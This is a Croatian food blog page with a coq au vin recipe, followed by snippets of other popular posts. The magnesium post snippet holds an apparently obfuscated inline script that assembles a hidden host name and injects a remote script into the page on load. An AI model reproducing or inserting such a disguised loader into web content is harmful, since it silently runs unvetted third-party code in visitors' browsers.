PILETINA U AROMATIČNOM VINU 🍷 🐔





 Piletina u aromatičnom vinu 🍷 🐔


Coq au Vin spaja sočnost piletine s bogatstvom okusa crnog vina, povrća i začinskog bilja. Ovaj recept vodi vas kroz klasičnu pripremu ovog jela, pružajući sofisticirani okus u udobnosti vlastitog doma. Idealno je za obiteljski ručak ili svečanu večeru.



Piletina u aromatičnom vinu 


Sastojci:

  • 1 cijelo pile (ili 1–1,2 kg komada piletine)
  • 150 g slanine
  • 1 veći luk
  • 2 mrkve
  • 2 režnja češnjaka
  • 250–400 ml suhog crnog vina
  • 200 ml temeljca (pileći ili goveđi)
  • 200 g šampinjona
  • 1 žlica brašna
  • 1 žlica koncentrata rajčice (po želji)
  • lovorov list i timijan
  • sol i papar
  • maslinovo ulje



Priprema:

Komade piletine posoliti i popapriti. U većem loncu na malo ulja popržiti pancetu ili slaninu dok ne postane hrskava, zatim je izvaditi sa strane. U istoj masnoći zapeći piletinu sa svih strana dok ne dobije lijepu zlatno-smeđu boju pa je također izvaditi.

U lonac dodati nasjeckani luk, mrkvu i češnjak te kratko pirjati dok ne omekšaju.

Po želji umiješati malo brašna i koncentrat rajčice, zatim vratiti piletinu i pancetu. Sve podliti crnim vinom i pustiti da kratko prokuha kako bi alkohol ispario. Dodati temeljac, lovorov list i timijan, poklopiti i kuhati na laganoj vatri oko 45-60 minuta, dok meso ne omekša i umak se zgusne.

Pred kraj kuhanja posebno kratko prepržiti šampinjone i umiješati ih u jelo. Po potrebi dodatno začiniti i poslužiti toplo.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više